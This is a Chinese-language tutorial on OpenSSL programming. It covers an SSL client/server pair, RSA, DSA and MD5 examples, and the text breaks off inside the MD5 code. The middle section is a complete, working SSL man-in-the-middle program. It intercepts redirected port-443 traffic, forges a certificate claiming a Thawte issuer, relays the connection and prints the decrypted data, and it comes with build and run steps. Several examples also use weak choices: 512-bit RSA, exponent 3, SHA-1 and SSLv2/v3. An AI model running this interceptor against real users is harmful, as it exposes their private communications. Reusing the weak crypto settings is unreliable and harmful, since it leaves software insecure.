OPENSSL编程入门学习

本文介绍OPENSSL编程的基础知识,涵盖SSL/TLS网络通信程序开发、SSL中间人攻击原理及实现、RSA密钥生成与加解密操作、DSA签名验证及MD5哈希摘要生成等内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

OPENSSL编程入门学习

相关学习资料

复制代码
http://bbs.pediy.com/showthread.php?t=92649
https://www.openssl.org
https://www.google.com.hk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=4&ved=0CDoQFjAD&url=http%3a%2f%2fidning-ebook%2egooglecode%2ecom%2fsvn%2ftrunk%2fopenssl%2fopenssl%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581%25E7%25AC%2594%25E8%25AE%25B0%25EF%25BC%2588%25E6%259C%2580%25E7%25AE%2580%25E6%2598%258E%25EF%25BC%2589%2edoc&ei=fV99U_KpN4388QXJ84DgDA&usg=AFQjCNEB9CTfpoTNx_VlSKBciE16gEdupA&sig2=AL3n-KsVRxM96eOoje6IUg&bvm=bv.67229260,d.dGc&cad=rjt
http://www.lovelucy.info/openssl-rsa-programming.html
复制代码

 

目录

1. OPENSSL简介
2. The SSL library(SSL、TLS开发代码库)
3. the Crypto library(密码学相关开发代码库)

 

1. OPENSSL简介

OpenSSL项目是一个协作开发一个健壮的,商业级的,全功能的,并且开放源代码工具包,它实现了安全套接字层(SSL v2/v3)和传输层安全(TLS v1)协议以及全强大的通用加密库。

OPENSSL由3部分组成:

1. The SSL library(SSL、TLS开发代码库)
2. the Crypto library(密码学相关开发代码库)
3. command line tool(命令行工具,提供CA、证书等功能)

关于(3)openssl命令汗工具的使用,请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/3738141.html

本文主要关注基于openssl代码库的程序开发

 

2. The SSL library(SSL、TLS开发代码库)

我们首先要明白,SSL、TLS是一个网络数据协议,所以我们使用OPENSSL开发程序的目的同样也是基于网络的应用程序,即C/S程序,所以,一般情况下,我们需要同时编写服务端、以及客户端程序

服务端编写步骤

客户端编写步骤

openssl的代码库随着openssl toolkit的安装自动安装,所有的头文件都放在"/usr/include/openssl"中,我们在GCC编程中需要引入它们

whereis openssl
openssl: /usr/bin/openssl /usr/include/openssl /usr/share/man/man1/openssl.1ssl.gz
cd /usr/include/openssl
ll

0x1: 简单C/S通信

复制代码
ssl-server.c:
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <unistd.h> 
#include <arpa/inet.h> 
#include <openssl/ssl.h> 
#include <openssl/err.h> 

#define MAXBUF 1024 

int main(int argc, char * *argv) 
{
    int sockfd, new_fd;
    socklen_t len;
    struct sockaddr_in my_addr, their_addr;
    unsigned int myport, lisnum;
    char buf[MAXBUF + 1];
    SSL_CTX * ctx;
    //指定监听端口
    if (argv[1]) 
    {
        myport = atoi(argv[1]);
    }
    else 
    {
        myport = 8888;
    }
    //最大客户端连接数
    if (argv[2]) 
    {
        lisnum = atoi(argv[2]);
    }
    else 
    {
        lisnum = 2;
    }
    /* SSL 库初始化*/
    SSL_library_init();
    /* 载入所有SSL 算法*/
    OpenSSL_add_all_algorithms();
    /* 载入所有SSL 错误消息*/
    SSL_load_error_strings();
    /* 以SSL V2 和V3 标准兼容方式产生一个SSL_CTX ,即SSL Content Text */
    ctx = SSL_CTX_new(SSLv23_server_method());
    /* 
    也可以用SSLv2_server_method() 或SSLv3_server_method() 单独表示V2 或V3标准
    */
    if (ctx == NULL) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }
    /* 载入用户的数字证书, 此证书用来发送给客户端。证书里包含有公钥*/
    if (SSL_CTX_use_certificate_file(ctx, argv[4], SSL_FILETYPE_PEM) <= 0) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }
    /* 载入用户私钥*/
    if (SSL_CTX_use_PrivateKey_file(ctx, argv[5], SSL_FILETYPE_PEM) <= 0) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }
    /* 检查用户私钥是否正确*/
    if (!SSL_CTX_check_private_key(ctx)) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }

    /* 开启一个socket 监听*/
    if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) 
    {
        perror("socket");
        exit(1);
    } 
    else 
    {
        printf("socket created\n");
    }
    bzero( &my_addr, sizeof(my_addr));
    my_addr.sin_family = PF_INET;
    my_addr.sin_port = htons(myport);
    
    //设置监听的IP
    if (argv[3]) 
    {
        my_addr.sin_addr.s_addr = inet_addr(argv[3]);
    }
    else 
    {
        //如果用户没有指定监听端口,则默认监听0.0.0.0(任意IP)
        my_addr.sin_addr.s_addr = INADDR_ANY;
    }
    if (bind(sockfd, (struct sockaddr * ) &my_addr, sizeof(struct sockaddr)) == -1) 
    {
        perror("bind");
        exit(1);
    } 
    else
    {
        printf("binded\n");
    } 
    if (listen(sockfd, lisnum) == -1) 
    {
        perror("listen");
        exit(1);
    } 
    else 
    {
        printf("begin listen\n");
    }
    while (1) 
    {
        SSL * ssl;
        len = sizeof(struct sockaddr);
        /* 等待客户端连上来*/
        if ((new_fd = accept(sockfd, (struct sockaddr * ) & their_addr, &len)) == -1) 
        {
            perror("accept");
            exit(errno);
        } 
        else 
        {
            printf("server: got connection from %s, port %d, socket %d\n", inet_ntoa(their_addr.sin_addr), ntohs(their_addr.sin_port), new_fd);
        }
        /* 基于ctx 产生一个新的SSL */
        ssl = SSL_new(ctx);
        /* 将连接用户的socket 加入到SSL */
        SSL_set_fd(ssl, new_fd);
        /* 建立SSL 连接*/
        if (SSL_accept(ssl) == -1) 
        {
            perror("accept");
            close(new_fd);
            break;
        }
        /* 开始处理每个新连接上的数据收发*/
        bzero(buf, MAXBUF + 1);
        strcpy(buf, "server->client");
        /* 发消息给客户端*/
        len = SSL_write(ssl, buf, strlen(buf));
        if (len <= 0) 
        {
            printf("消息'%s'发送失败!错误代码是%d,错误信息是'%s'\n", buf, errno, strerror(errno));
            goto finish;
        } 
        else 
        {
            printf("消息'%s'发送成功,共发送了%d 个字节!\n", buf, len);
        }
        bzero(buf, MAXBUF + 1);
        /* 接收客户端的消息*/
        len = SSL_read(ssl, buf, MAXBUF);
        if (len > 0) 
        {
            printf("接收消息成功:'%s',共%d 个字节的数据\n", buf, len);
        }
        else 
        {
            printf("消息接收失败!错误代码是%d,错误信息是'%s'\n", errno, strerror(errno));
        }
        /* 处理每个新连接上的数据收发结束*/
        finish:
        /* 关闭SSL 连接*/
        SSL_shutdown(ssl);
        /* 释放SSL */
        SSL_free(ssl);
        /* 关闭socket */
        close(new_fd);
    }
    /* 关闭监听的socket */
    close(sockfd);
    /* 释放CTX */
    SSL_CTX_free(ctx);
    return 0;
}


ssl-client.c
#include <stdio.h> 
#include <string.h> 
#include <errno.h> 
#include <sys/socket.h> 
#include <resolv.h> 
#include <stdlib.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <unistd.h> 
#include <openssl/ssl.h> 
#include <openssl/err.h> 

#define MAXBUF 1024 

void ShowCerts(SSL * ssl) 
{
    X509 * cert;
    char * line;
    cert = SSL_get_peer_certificate(ssl);
    if (cert != NULL) 
    {
        printf("数字证书信息:\n");
        line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
        printf("证书: %s\n", line);
        free(line);
        line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
        printf("颁发者: %s\n", line);
        free(line);
        X509_free(cert);
    } 
    else 
    {
        printf("无证书信息!\n");
    }
} 

int main(int argc, char * *argv) 
{
    int sockfd, len;
    struct sockaddr_in dest;
    char buffer[MAXBUF + 1];
    SSL_CTX * ctx;
    SSL * ssl;
    if (argc != 3) 
    {
        printf("参数格式错误!正确用法如下:\n\t\t%s IP 地址端口\n\t 比如:\t%s 127.0.0.1 80\n 此程序用来从某个IP 地址的服务器某个端口接收最多MAXBUF 个字节的消息",
argv[0], argv[0]); exit(0); } /* SSL 库初始化*/ SSL_library_init(); /* 载入所有SSL 算法*/ OpenSSL_add_all_algorithms(); /* 载入所有SSL 错误消息*/ SSL_load_error_strings(); /* 以SSL V2 和V3 标准兼容方式产生一个SSL_CTX ,即SSL Content Text */ ctx = SSL_CTX_new(SSLv23_client_method()); if (ctx == NULL) { ERR_print_errors_fp(stdout); exit(1); } /* 创建一个socket 用于tcp 通信*/ if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("Socket"); exit(errno); } printf("socket created\n"); /* 初始化服务器端(对方)的地址和端口信息*/ bzero( &dest, sizeof(dest)); dest.sin_family = AF_INET; //设置连接的端口 dest.sin_port = htons(atoi(argv[2])); //设置连接的IP地址 if (inet_aton(argv[1], (struct in_addr * ) &dest.sin_addr.s_addr) == 0) { perror(argv[1]); exit(errno); } printf("address created\n"); /* 连接服务器*/ if (connect(sockfd, (struct sockaddr * ) &dest, sizeof(dest)) != 0) { perror("Connect "); exit(errno); } printf("server connected\n"); /* 基于ctx 产生一个新的SSL */ ssl = SSL_new(ctx); /* 将新连接的socket 加入到SSL */ SSL_set_fd(ssl, sockfd); /* 建立SSL 连接*/ if (SSL_connect(ssl) == -1) { ERR_print_errors_fp(stderr); } else { printf("Connected with %s encryption\n", SSL_get_cipher(ssl)); ShowCerts(ssl); } /* 接收对方发过来的消息,最多接收MAXBUF 个字节*/ bzero(buffer, MAXBUF + 1); /* 接收服务器来的消息*/ len = SSL_read(ssl, buffer, MAXBUF); if (len > 0) { printf("接收消息成功:'%s',共%d 个字节的数据\n", buffer, len); } else { printf("消息接收失败!错误代码是%d,错误信息是'%s'\n", errno, strerror(errno)); goto finish; } bzero(buffer, MAXBUF + 1); strcpy(buffer, "from client->server"); /* 发消息给服务器*/ len = SSL_write(ssl, buffer, strlen(buffer)); if (len < 0) { printf("消息'%s'发送失败!错误代码是%d,错误信息是'%s'\n", buffer, errno, strerror(errno)); } else { printf("消息'%s'发送成功,共发送了%d 个字节!\n", buffer, len); } finish: /* 关闭连接*/ SSL_shutdown(ssl); SSL_free(ssl); close(sockfd); SSL_CTX_free(ctx); return 0; } usage: 1. 程序中用到的包含公钥的服务端证书cacert.pem和服务端私钥文件privkey.pem需要使用如下方式生成: openssl genrsa -out privkey.pem 2048 openssl req -new -x509 -key privkey.pem -out cacert.pem -days 1095 2. 编译程序用下列命令: gcc -Wall ssl-client.c -o client -lssl gcc -Wall ssl-server.c -o server -lssl 3. 运行程序用如下命令: ./server 8888 3 127.0.0.1 cacert.pem privkey.pem ./client 127.0.0.1 8888
复制代码

0x2:  作为SSL中间人与客户端和原始请求服务端同时建立连接,并转发数据

中间负责监听443端口,等待客户端的连接,然后中间人单独和客户端原始请求的服务端建立SSL连接,同时和客户端也建立一个SSL连接,即

1. 客户端其实是在和中间人建立SSL连接
2. 中间人和原始请求的服务端建立SSL连接
3. 中间人将2个socket之间的数据进行双向转发,并记录明文数据

code:

复制代码
SSL_man_in_middle.c
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/param.h>
#include <linux/netfilter_ipv4.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>

#include <openssl/ssl.h>
#include <openssl/err.h>

#define LISTEN_BACKLOG 50

#define warning(msg) \
    do { fprintf(stderr, "%d, ", sum); perror(msg); } while(0)

#define error(msg) \
    do { fprintf(stderr, "%d, ", sum); perror(msg); exit(EXIT_FAILURE); } while (0)

int sum = 1;
struct timeval timeout = { 0, 10000000 };

int get_socket_to_server(struct sockaddr_in* original_server_addr) 
{
    int sockfd;

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        error("Fail to initial socket to server!");
    } 
    if (connect(sockfd, (struct sockaddr*) original_server_addr, sizeof(struct sockaddr)) < 0)
    {
        error("Fail to connect to server!");
    } 
    printf("%d, Connect to server [%s:%d]\n", sum, inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port));
    return sockfd;
}

//监听指定端口,等待客户端的连接
int socket_to_client_init(short int port) 
{
    int sockfd;
    int on = 1;
    struct sockaddr_in addr;
    //初始化一个socket
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        error("Fail to initial socket to client!");
    }         
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0)
    {
        error("reuseaddr error!");
    }  
    memset(&addr, 0, sizeof(addr));
    addr.sin_addr.s_addr = htonl(INADDR_ANY);
    addr.sin_family = AF_INET;
    //将该socket绑定到8888端口上
    addr.sin_port = htons(port);
    if (bind(sockfd, (struct sockaddr*) &addr, sizeof(struct sockaddr)) < 0) 
    {
        shutdown(sockfd, SHUT_RDWR);
        error("Fail to bind socket to client!");
    }
    //然后监听该端口
    if (listen(sockfd, LISTEN_BACKLOG) < 0) 
    {
        shutdown(sockfd, SHUT_RDWR);
        error("Fail to listen socket to client!");
    }

    return sockfd;
}

/*
当主机B发起一个SSL连接时,我们在本地8888端口就可以监听到连接,这时我们接受这个连接,并获得该链接的原始目的地址,
以便后续连接服务器时使用。该部分封装到了get_socket_to_client函数中。
*/
int get_socket_to_client(int socket, struct sockaddr_in* original_server_addr) 
{
    int client_fd;
    struct sockaddr_in client_addr;
    socklen_t client_size = sizeof(struct sockaddr);
    socklen_t server_size = sizeof(struct sockaddr);

    memset(&client_addr, 0, client_size);
    memset(original_server_addr, 0, server_size);
    client_fd = accept(socket, (struct sockaddr *) &client_addr, &client_size);
    if (client_fd < 0)
    {
        warning("Fail to accept socket to client!");
        return -1;
    }
    /*
    通过getsockopt函数获得socket中的SO_ORIGINAL_DST属性,得到报文被iptables重定向之前的原始目的地址。
    使用SO_ORIGINAL_DST属性需要包括头文件<linux/netfilter_ipv4.h>。
    值得注意的是,在当前的情景下,通过getsockname等函数是无法正确获得原始的目的地址的,
    因为iptables在重定向报文到本地端口时,已经将IP报文的目的地址修改为本地地址,
    所以getsockname等函数获得的都是本地地址而不是服务器的地址。
    */
    if (getsockopt(client_fd, SOL_IP, SO_ORIGINAL_DST, original_server_addr, &server_size) < 0) 
    {
        warning("Fail to get original server address of socket to client!");;
    }
    printf("%d, Find SSL connection from client [%s:%d]", sum, inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
    printf(" to server [%s:%d]\n", inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port));

    return client_fd;
}

// 初始化openssl库
void SSL_init() 
{
    SSL_library_init();
    SSL_load_error_strings();
}

void SSL_Warning(char *custom_string) {
    char error_buffer[256] = { 0 };

    fprintf(stderr, "%d, %s ", sum, custom_string);
    ERR_error_string(ERR_get_error(), error_buffer);
    fprintf(stderr, "%s\n", error_buffer);
}

void SSL_Error(char *custom_string) {
    SSL_Warning(custom_string);
    exit(EXIT_FAILURE);
}

//在与服务器建立了socket连接之后,我们就可以建立SSL连接了。这里我们使用linux系统中著名的SSL库openssl来完成我们的接下来的工作
SSL* SSL_to_server_init(int socket) 
{
    SSL_CTX *ctx;

    ctx = SSL_CTX_new(SSLv23_client_method());
    if (ctx == NULL)
    {
        SSL_Error("Fail to init ssl ctx!");
    } 
    SSL *ssl = SSL_new(ctx);
    if (ssl == NULL)
    {
        SSL_Error("Create ssl error");
    } 
    if (SSL_set_fd(ssl, socket) != 1)
    {
        SSL_Error("Set fd error");
    } 

    return ssl;
}

SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) {
    SSL_CTX *ctx;

    ctx = SSL_CTX_new(SSLv23_server_method());
    if (ctx == NULL)
        SSL_Error("Fail to init ssl ctx!");
    if (cert && key) {
        if (SSL_CTX_use_certificate(ctx, cert) != 1)
            SSL_Error("Certificate error");
        if (SSL_CTX_use_PrivateKey(ctx, key) != 1)
            SSL_Error("key error");
        if (SSL_CTX_check_private_key(ctx) != 1)
            SSL_Error("Private key does not match the certificate public key");
    }

    SSL *ssl = SSL_new(ctx);
    if (ssl == NULL)
        SSL_Error("Create ssl error");
    if (SSL_set_fd(ssl, socket) != 1)
        SSL_Error("Set fd error");

    return ssl;
}

void SSL_terminal(SSL *ssl) {
    SSL_CTX *ctx = SSL_get_SSL_CTX(ssl);
    SSL_shutdown(ssl);
    SSL_free(ssl);
    if (ctx)
        SSL_CTX_free(ctx);
}


// 从文件读取伪造SSL证书时需要的RAS私钥和公钥
EVP_PKEY* create_key() 
{
    EVP_PKEY *key = EVP_PKEY_new();
    RSA *rsa = RSA_new();

    FILE *fp;
    if ((fp = fopen("private.key", "r")) == NULL)
    {
        error("private.key");
    } 
    PEM_read_RSAPrivateKey(fp, &rsa, NULL, NULL);
    
    if ((fp = fopen("public.key", "r")) == NULL)
    {
        error("public.key");
    } 
    PEM_read_RSAPublicKey(fp, &rsa, NULL, NULL);

    EVP_PKEY_assign_RSA(key,rsa);
    return key;
}

X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key) 
{
    unsigned char buffer[128] = { 0 };
    int length = 0, loc;
    X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server);
    X509 *fake_x509 = X509_dup(server_x509);
    if (server_x509 == NULL)
    {
        SSL_Error("Fail to get the certificate from server!"); 
    }
        
    X509_set_version(fake_x509, X509_get_version(server_x509));
    ASN1_INTEGER *a = X509_get_serialNumber(fake_x509);
    a->data[0] = a->data[0] + 1; 
    X509_NAME *issuer = X509_NAME_new(); 
    X509_NAME_add_entry_by_txt(issuer, "CN", MBSTRING_ASC,
            "Thawte SGC CA", -1, -1, 0);
    X509_NAME_add_entry_by_txt(issuer, "O", MBSTRING_ASC, "Thawte Consulting (Pty) Ltd.", -1, -1, 0);
    X509_NAME_add_entry_by_txt(issuer, "OU", MBSTRING_ASC, "Thawte SGC CA", -1,
            -1, 0);
    X509_set_issuer_name(fake_x509, issuer);  
    X509_sign(fake_x509, key, EVP_sha1()); 

    return fake_x509;
}

/*
我们将抓取数据的代码封装到transfer函数中。该函数主要是使用系统的select函数同时监听服务器和客户端,
并使用SSL_read和SSL_write不断的在两个信道之间传递数据,并将数据输出到控制台
*/
int transfer(SSL *ssl_to_client, SSL *ssl_to_server) 
{
    int socket_to_client = SSL_get_fd(ssl_to_client);
    int socket_to_server = SSL_get_fd(ssl_to_server);
    int ret;
    char buffer[4096] = { 0 };

    fd_set fd_read;

    printf("%d, waiting for transfer\n", sum);
    while (1) 
    {
        int max;

        FD_ZERO(&fd_read);
        FD_SET(socket_to_server, &fd_read);
        FD_SET(socket_to_client, &fd_read);
        max = socket_to_client > socket_to_server ? socket_to_client + 1 : socket_to_server + 1;

        ret = select(max, &fd_read, NULL, NULL, &timeout);
        if (ret < 0) 
        {
            SSL_Warning("Fail to select!");
            break;
        } 
        else if (ret == 0) 
        {
            continue;
        }
        if (FD_ISSET(socket_to_client, &fd_read)) 
        {
            memset(buffer, 0, sizeof(buffer));
            ret = SSL_read(ssl_to_client, buffer, sizeof(buffer));
            if (ret > 0) 
            {
                if (ret != SSL_write(ssl_to_server, buffer, ret)) 
                {
                    SSL_Warning("Fail to write to server!");
                    break;
                } 
                else 
                {
                    printf("%d, client send %d bytes to server\n", sum, ret);
                    printf("%s\n", buffer);
                }
            } 
            else 
            {
                SSL_Warning("Fail to read from client!");
                break;
            }
        }
        if (FD_ISSET(socket_to_server, &fd_read)) 
        {
            memset(buffer, 0, sizeof(buffer));
            ret = SSL_read(ssl_to_server, buffer, sizeof(buffer));
            if (ret > 0) {
                if (ret != SSL_write(ssl_to_client, buffer, ret)) 
                {
                    SSL_Warning("Fail to write to client!");
                    break;
                } 
                else 
                {
                    printf("%d, server send %d bytes to client\n", sum, ret);
                    printf("%s\n", buffer);
                }
            } 
            else 
            {
                SSL_Warning("Fail to read from server!");
                break;
            }
        }
    }
    return -1;
}

int main() 
{
    // 初始化一个socket,将该socket绑定到443端口,并监听
    int socket = socket_to_client_init(443);
    // 从文件读取伪造SSL证书时需要的RAS私钥和公钥
    EVP_PKEY* key = create_key();
    // 初始化openssl库
    SSL_init();

    while (1) 
    {
        struct sockaddr_in original_server_addr;
        // 从监听的端口获得一个客户端的连接,并将该连接的原始目的地址存储到original_server_addr中
        int socket_to_client = get_socket_to_client(socket, &original_server_addr);
        if (socket_to_client < 0)
        {
            continue;
        } 
        // 新建一个子进程处理后续事宜,主进程继续监听端口等待后续连接
        if (!fork()) 
        {
            X509 *fake_x509;
            SSL *ssl_to_client, *ssl_to_server;

            // 通过获得的原始目的地址,连接真正的服务器,获得一个和服务器连接的socket
            int socket_to_server = get_socket_to_server(&original_server_addr);
            // 通过和服务器连接的socket建立一个和服务器的SSL连接
            ssl_to_server = SSL_to_server_init(socket_to_server);
            if (SSL_connect(ssl_to_server) < 0)
            {
                SSL_Error("Fail to connect server with ssl!");
            } 
            printf("%d, SSL to server\n", sum);

            // 从服务器获得证书,并通过这个证书伪造一个假的证书
            fake_x509 = create_fake_certificate(ssl_to_server, key);
            // 使用假的证书和我们自己的密钥,和客户端建立一个SSL连接。至此,SSL中间人攻击成功
            ssl_to_client = SSL_to_client_init(socket_to_client, fake_x509, key);
            if (SSL_accept(ssl_to_client) <= 0)
            {
                SSL_Error("Fail to accept client with ssl!");
            } 
            printf("%d, SSL to client\n", sum);

            // 在服务器SSL连接和客户端SSL连接之间转移数据,并输出服务器和客户端之间通信的数据
            if (transfer(ssl_to_client, ssl_to_server) < 0)
            {
                break;
            } 
            printf("%d, connection shutdown\n", sum);
            shutdown(socket_to_server, SHUT_RDWR);
            SSL_terminal(ssl_to_client);
            SSL_terminal(ssl_to_server);
            X509_free(fake_x509);
            EVP_PKEY_free(key);
        } 
        else 
        {
            ++sum;
        }
    }

    return 0;
}

usage:
1. 生成本地伪证书公钥、私钥
openssl genrsa -out private.key 1024
openssl rsa -in private.key -pubout -out public.key
2. 编译
vim SSL_man_in_middle.c
gcc SSL_man_in_middle.c -o SSL_man_in_middle -lssl
3. 运行(监听443端口)
./SSL_man_in_middle
复制代码

 

 

3. the Crypto library(密码学相关开发代码库)

0x1: RSA密钥生成

RSA算法是一个广泛使用的公钥算法。其密钥包括公钥和私钥。它能用于数字签名、身份认证以及密钥交换。RSA密钥长度一般使用1024位或者更高。RSA密钥信息主要包括

复制代码
1. n: 模数
2. e: 公钥指数
3. d: 私钥指数
4. p: 最初的大素数
5. q: 最初的大素数
6. dmp1: e*dmp1 = 1 (mod (p-1))
7. dmq1: e*dmq1 = 1 (mod (q-1))
8. iqmp: q*iqmp = 1 (mod p )
复制代码

其中,公钥为n和e;私钥为n和d。在实际应用中,公钥加密一般用来协商密钥,私钥加密一般用来签名

复制代码
rsa_keygen.c
#include <openssl/rsa.h>

int main() 
{ 
    RSA * r; 
    int bits = 512, ret; 
    unsigned long e = RSA_3; 
    BIGNUM * bne;

    //调用RSA_generate_key函数生成RSA密钥参数 
    r = RSA_generate_key(bits, e, NULL, NULL);
    //调用RSA_print_fp打印密钥信息
    RSA_print_fp(stdout, r, 11); 
    RSA_free(r);

    bne = BN_new(); 
    ret = BN_set_word(bne, e); 
    r = RSA_new(); 
    //调用RSA_generate_key_ex函数生成RSA密钥参数
    ret = RSA_generate_key_ex(r, bits, bne, NULL);

    if (ret != 1) 
    { 
        printf("RSA_generate_key_ex err!\n"); 
        return - 1; 
    }

    RSA_free(r); 
    return 0; 
}

usage:
1. 编译程序
gcc -Wall rsa_keygen.c -o rsa_keygen -lssl
2. 运行程序
./rsa_keygen
复制代码

0x2: RSA加解密运算

RSA算法中,公钥、私钥的加解密是对称的,即

1. 公钥解密--私钥解密
2. 私钥加密--公钥解密

code:

复制代码
rsa_crypto.c
/*
* rsa.cc
* - Show the usage of RSA encryption/decryption
*/ 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <openssl/bn.h>
#include <openssl/rsa.h>
 
int main(int argc, char** argv) 
{
    RSA* rsa;
    unsigned char* input_string;
    unsigned char* encrypt_string;
    unsigned char* decrypt_string;
    int i;
 
    // check usage
    if (argc != 2) 
    {
        fprintf(stderr, "%s <plain text>\n", argv[0]);
        exit(-1);
    }
 
    // set the input string
    input_string = (unsigned char*)calloc(strlen(argv[1]) + 1, sizeof(unsigned char));
    if (input_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for input_string\n");
        exit(-1);
    }
    strncpy((char*)input_string, argv[1], strlen(argv[1]));
 
    // Generate RSA parameters with 1024 bits (using exponent 3)
    rsa = RSA_generate_key(1024, 3, NULL, NULL);
 
    // set encryption RSA instance (with only n and e), to resemble
    // the key distribution process
    unsigned char* n_b = (unsigned char*)calloc(RSA_size(rsa),  sizeof(unsigned char));
    unsigned char* e_b = (unsigned char*)calloc(RSA_size(rsa),  sizeof(unsigned char));
    int n_size = BN_bn2bin(rsa->n, n_b);
    int b_size = BN_bn2bin(rsa->e, e_b);
    // assume the byte strings are sent over the network
    RSA* encrypt_rsa = RSA_new();
    encrypt_rsa->n = BN_bin2bn(n_b, n_size, NULL);
    encrypt_rsa->e = BN_bin2bn(e_b, b_size, NULL);
 
    // alloc encrypt_string
    encrypt_string = (unsigned char*)calloc(RSA_size(encrypt_rsa), sizeof(unsigned char));    
    if (encrypt_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for encrypt_string\n");
        exit(-1);
    }
 
    // encrypt (return the size of the encrypted data)
    // note that if RSA_PKCS1_OAEP_PADDING is used, 
    // flen must be < RSA_size - 41 
    int encrypt_size = RSA_public_encrypt(strlen((char*)input_string), input_string, encrypt_string, encrypt_rsa, RSA_PKCS1_OAEP_PADDING);
 
    // alloc decrypt_string
    decrypt_string = (unsigned char*)calloc(RSA_size(rsa), sizeof(unsigned char));
    if (decrypt_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for decrypt_string\n");
        exit(-1);
    }
 
    // decrypt
    int decrypt_size = RSA_private_decrypt(encrypt_size, encrypt_string, decrypt_string, rsa, RSA_PKCS1_OAEP_PADDING);
 
    // print
    printf("input_string = %s\n", input_string);
    printf("encrypted string = ");
    for (i=0; i<encrypt_size; ++i) 
    {
        printf("%x%x", (encrypt_string[i] >> 4) & 0xf, encrypt_string[i] & 0xf);    
    }
    printf("\n");
    printf("decrypted string (%d) = %s\n", decrypt_size, decrypt_string);
 
    return 0;
}

usage:
1. 编译程序
gcc -Wall rsa_crypto.c -o crypto -lssl
2. 运行程序
./crypto hello
复制代码

0x3: DSA签名与验证

和手写签名一样,数字签名可以为我们验证文档的作者、签名的时间,从而鉴明消息的内容是真实可靠的。它的目的和MAC类似,只是使用的是公钥加密体系。 
在DSA数字签名和认证中,发送者使用自己的私钥对文件或消息进行签名,接受者收到消息后使用发送者的公钥来验证签名的真实性

我们知道,非对称密钥体系一个最大的缺点就是速度很慢,如果我们需要传送一个1G大小的文件,则加密解密签名验证都需要耗费大量的时间。所以,包括SSL/TLS在内的主流的协议框架中,都规定用一个哈希函数对消息进行摘要,对摘要进行签名和验证,这样可以加快速度

复制代码
dsa_signed.c
/*
* dsa.cc
* - Show the usage of DSA sign/verify
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <openssl/dsa.h>
 
int main(int argc, char** argv) 
{
    DSA* dsa;
    unsigned char* input_string;
    unsigned char* sign_string;
    unsigned int sig_len;
    unsigned int i;
 
    // check usage
    if (argc != 2) 
    {
        fprintf(stderr, "%s <plain text>\n", argv[0]);
        exit(-1);
    }
 
    // set the input string
    input_string = (unsigned char*)calloc(strlen(argv[1]) + 1, sizeof(unsigned char));
    if (input_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for input_string\n");
        exit(-1);
    }
    strncpy((char*)input_string, argv[1], strlen(argv[1]));
 
    // Generate random DSA parameters with 1024 bits 
    dsa = DSA_generate_parameters(1024, NULL, 0, NULL, NULL, NULL, NULL);
 
    // Generate DSA keys
    DSA_generate_key(dsa);
 
    // alloc sign_string
    sign_string = (unsigned char*)calloc(DSA_size(dsa), sizeof(unsigned char));    
    if (sign_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for sign_string\n");
        exit(-1);
    }
 
    // sign input_string
    if (DSA_sign(0, input_string, strlen((char*)input_string), sign_string, &sig_len, dsa) == 0) 
    {
        fprintf(stderr, "Sign Error.\n");
        exit(-1);
    }
 
    // verify signature and input_string
    int is_valid_signature = DSA_verify(0, input_string, strlen((char*)input_string), sign_string, sig_len, dsa);
 
    // print
    DSAparams_print_fp(stdout, dsa);
    printf("input_string = %s\n", input_string);
    printf("signed string = ");
    for (i=0; i<sig_len; ++i) 
    {
        printf("%x%x", (sign_string[i] >> 4) & 0xf, sign_string[i] & 0xf);    
    }
    printf("\n");
    printf("is_valid_signature? = %d\n", is_valid_signature);
 
    return 0;
}

usage:
1. 编译程序
gcc -Wall dsa_signed.c -o signed -lssl
2. 运行程序
./signed hello
复制代码

0x4: MD5哈希散列生成摘要

取任意长度的消息,生成一个固定长度的散列值,或者叫做摘要。哈希函数的实现都是公开的,它广泛应用于文件完整性检测、数字签名中。登录密码也有用到哈希函数,一般网站在数据库中不是直接存储的用户密码,而是密码的哈希值,这样即使数据库暴露,攻击者仍然是不知道密码的明文的。

复制代码
md5.c
/*
* md5.cc
* - Using md5 with openSSL. MD5 returns a 128-bit hash value from a string.
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <openssl/md5.h>
 
int main(int argc, char** argv) 
{
    MD5_CTX hash_ctx;
    char input_string[128];
    unsigned char hash_ret[16];
    int i;
 
    // check usage
    if (argc != 2) 
    {
        fprintf(stderr, "%s <input string>\n", argv[0]);
        exit(-1);
    }
 
    // set the input string
    snprintf(input_string, sizeof(input_string), "%s\n", argv[1]);
 
    // initialize a hash context 
    MD5_Init(&hash_ctx);
 
    // update the input string to the hash context (you can update
